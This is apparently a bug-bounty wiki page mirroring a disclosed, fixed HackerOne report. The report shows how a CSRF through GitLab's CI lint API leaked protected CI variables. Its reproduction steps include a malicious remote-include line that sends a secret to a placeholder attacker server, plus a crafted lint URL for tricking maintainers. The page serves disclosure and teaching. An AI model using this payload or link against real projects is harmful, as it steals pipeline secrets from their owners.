Skip to content
CSRF Disclosed report Intermediate

[Re-submit] CSRF leaking protected CI variables

A malicious user could trick a project Maintainer or Owner into visiting a crafted URL that causes the CI lint API to process a malicious CI configuration from the attacker's fork, leaking protected CI variables to an attacker-controlled server. The attacker could steal secrets that are normally only available to users who can push to protected branches.

GitLab

Originally disclosed on GitLab

  • Fixed in 9 months
  • Disclosed after 9 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2969261 by shells3c on 2025-02-01, assigned to GitLab Team:

Report | How To Reproduce

Report

NOTE: This was reported back in July 2024, I'm re-submitting it after realizing the Program Policy changed in October to make this vulnerability valid.

Summary

A malicious user can trick someone with Maintainer/Owner role into clicking a crafted URL hence leaking any protected CI variable (which is not supposed to be exposed to anyone except people who can push into protected branches, usually only Maintainers/Owners)

Steps to reproduce
  1. [Victim] Create a project, create a protected, masked CI variable in General > CI/CD > Variables named secret.
  2. [Attacker] Fork the project, replace the CI configuration (by default is .gitlab-ci.yml) with the malicious content:
YML
include:  
  remote: 'http://<ATTACKER SERVER>/${secret}.yaml'  
  1. [Attacker] Submit a MR with that change and then copy the hash of the commit
  2. [Victim] Visit a crafted link made by the attacker, which looks like this: https://gitlab.com/api/v4/projects/[PROJECT_ID]/ci/lint?content_ref=[SHA]&dry_run=true (replace PROJECT_ID with your project ID and SHA with the commit sha you just copied in the step above)
  3. The protected CI variable will be sent to the attacker server
Output of checks

This bug happens on GitLab.com

Impact

Protected CI variables can be stolen via a CSRF attack

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the CI lint endpoint accepted a commit reference from a fork and processed remote includes without verifying that the referenced configuration belonged to the victim's project, allowing protected variables to be resolved and sent to an external URL.

Impact

Protected CI variables could be stolen via a CSRF attack, but the victim must be a Maintainer or Owner and must click the crafted link.

What the attacker needed

Victim has Maintainer/Owner role; victim clicks a crafted link; attacker can fork the project

How it was found

  1. Victim creates a project and a protected, masked CI variable named secret.
  2. Attacker forks the project and replaces the CI configuration with a malicious remote include.
  3. Attacker submits a merge request with that change and copies the commit hash.
  4. Victim visits a crafted CI lint URL containing the project ID and commit SHA.
  5. The protected CI variable is sent to the attacker's server.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A protected CI variable is a secret used in pipelines, normally hidden from most users. The CI lint feature checks a configuration without running it. By making the lint check use a configuration with a remote include, the secret was sent to the attacker's server.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.